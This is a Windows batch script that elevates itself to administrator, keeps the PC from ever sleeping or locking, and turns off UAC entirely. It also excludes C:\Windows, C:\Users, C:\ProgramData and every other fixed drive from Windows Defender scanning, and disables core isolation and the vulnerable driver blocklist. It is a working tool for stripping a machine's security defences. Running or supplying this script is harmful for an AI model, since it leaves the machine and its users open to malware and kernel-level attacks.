@echo off
setlocal enabledelayedexpansion
title excTool_disableKelnelIsolationAndUACAndDenfenfer
chcp 65001 > nul

rem =================================================================
rem Auto-elevate to Administrator if not already running as admin
rem =================================================================
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo [INFO] Requesting administrator privileges...
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

rem =================================================================
rem Fix user environment variables (TEMP/TMP)
rem =================================================================
echo [INFO] Checking and fixing user environment variables...

rem Get user temp directory path
if defined USERPROFILE (
    set "user_temp_path=%USERPROFILE%\AppData\Local\Temp"
) else (
    set "user_temp_path=%LOCALAPPDATA%\Temp"
)

rem Check if TEMP environment variable exists or is incorrect
if not defined TEMP (
    echo [WARNING] TEMP environment variable not found, setting to user temp directory...
    setx TEMP "!user_temp_path!" >nul 2>&1
    if !errorlevel! equ 0 (
        echo [SUCCESS] TEMP environment variable set to !user_temp_path!
        set "TEMP=!user_temp_path!"
    ) else (
        echo [ERROR] Failed to set TEMP environment variable
    )
) else (
    echo [INFO] TEMP environment variable: %TEMP%
)

rem Check if TMP environment variable exists or is incorrect
if not defined TMP (
    echo [WARNING] TMP environment variable not found, setting to user temp directory...
    setx TMP "!user_temp_path!" >nul 2>&1
    if !errorlevel! equ 0 (
        echo [SUCCESS] TMP environment variable set to !user_temp_path!
        set "TMP=!user_temp_path!"
    ) else (
        echo [ERROR] Failed to set TMP environment variable
    )
) else (
    echo [INFO] TMP environment variable: %TMP%
)

rem Ensure the user temp directory exists
if not exist "!user_temp_path!" (
    echo [INFO] Creating user temp directory: !user_temp_path!
    mkdir "!user_temp_path!" >nul 2>&1
    if !errorlevel! equ 0 (
        echo [SUCCESS] User temp directory created
    ) else (
        echo [ERROR] Failed to create user temp directory
    )
)

rem =================================================================
rem Keep computer awake permanently (prevent sleep and screen lock)
rem =================================================================
echo [INFO] Configuring permanent keep awake settings...

rem Permanently disable system sleep and hibernation using powercfg
powercfg /change standby-timeout-ac 0 >nul 2>&1
powercfg /change standby-timeout-dc 0 >nul 2>&1
powercfg /change monitor-timeout-ac 0 >nul 2>&1
powercfg /change monitor-timeout-dc 0 >nul 2>&1
powercfg /change hibernate-timeout-ac 0 >nul 2>&1
powercfg /change hibernate-timeout-dc 0 >nul 2>&1

rem Disable hibernation completely
powercfg /hibernate off >nul 2>&1

rem Disable automatic sleep through registry
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0" /v "Attributes" /t REG_DWORD /d 2 /f >nul 2>&1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364" /v "Attributes" /t REG_DWORD /d 2 /f >nul 2>&1

rem Disable screen saver and lock screen
reg add "HKCU\Control Panel\Desktop" /v "ScreenSaveActive" /t REG_SZ /d "0" /f >nul 2>&1
reg add "HKCU\Control Panel\Desktop" /v "ScreenSaverIsSecure" /t REG_SZ /d "0" /f >nul 2>&1
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Personalization" /v "NoLockScreen" /t REG_DWORD /d 1 /f >nul 2>&1

rem Disable automatic lock after inactivity
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "InactivityTimeoutSecs" /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable USB selective suspend (prevents USB devices from sleeping)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USB" /v "DisableSelectiveSuspend" /t REG_DWORD /d 1 /f >nul 2>&1

if %errorlevel% equ 0 (
    echo [SUCCESS] Permanent keep awake settings configured - computer will never sleep or lock screen
) else (
    echo [WARNING] Some keep awake settings may not have been applied
)

rem =================================================================
rem Disable User Account Control (UAC) - Complete Disable
rem =================================================================
echo [INFO] Completely disabling User Account Control (UAC)...

rem Disable UAC completely
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC prompt behavior for administrators
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC prompt behavior for standard users
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC elevation prompts for UIAccess applications
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableUIADesktopToggle /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable secure desktop for UAC prompts
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC for built-in Administrator account
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC virtualization
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableVirtualization /t REG_DWORD /d 0 /f >nul 2>&1

rem Disable UAC for installer detection
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableInstallerDetection /t REG_DWORD /d 0 /f >nul 2>&1

if %errorlevel% equ 0 (
    echo [SUCCESS] UAC has been completely disabled.
    echo [INFO] A system restart is required for UAC changes to take effect.
) else (
    echo [WARNING] Some UAC settings may not have been disabled.
)

rem =================================================================
rem Add Windows Defender exclusion directories
rem =================================================================
echo [INFO] Adding exclusion directories...

rem Check if Windows Defender is available and add all exclusions in one PowerShell call
powershell -ExecutionPolicy Bypass -Command "& { try { Get-Command Add-MpPreference -ErrorAction Stop | Out-Null; $dirs = @(); if (Test-Path 'C:\Windows') { $dirs += 'C:\Windows' }; if (Test-Path 'C:\Users') { $dirs += 'C:\Users' }; if (Test-Path 'C:\ProgramData') { $dirs += 'C:\ProgramData' }; Get-WmiObject -Class Win32_LogicalDisk | Where-Object { $_.DriveType -eq 3 -and $_.DeviceID -ne 'C:' } | ForEach-Object { if (Test-Path ($_.DeviceID + '\')) { $dirs += ($_.DeviceID + '\') } }; if ($dirs.Count -gt 0) { foreach ($dir in $dirs) { try { Add-MpPreference -ExclusionPath $dir -ErrorAction Stop; Write-Host '[SUCCESS] ' $dir } catch { Write-Host '[FAILED] ' $dir ' - Access denied or path invalid' } } } else { Write-Host '[INFO] No valid directories found for exclusion' } } catch { Write-Host '[WARNING] Windows Defender PowerShell module not available - skipping exclusions' } }" 2>nul

rem =================================================================
rem Disable Kernel Isolation (Core Isolation)
rem =================================================================
echo [INFO] Disabling kernel isolation (Core Isolation)...
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 0 /f >nul 2>&1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 0 /f >nul 2>&1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\CI\Config" /v "VulnerableDriverBlocklistEnable" /t REG_DWORD /d 0 /f >nul 2>&1
if %errorlevel% equ 0 (
    echo [SUCCESS] Kernel isolation disabled
    echo [INFO] A system restart is required for kernel isolation changes to take effect
) else (
    echo [WARNING] Failed to disable kernel isolation
)

echo.
echo [INFO] All operations completed!
echo [WARNING] Some changes require a system restart to take effect
pause
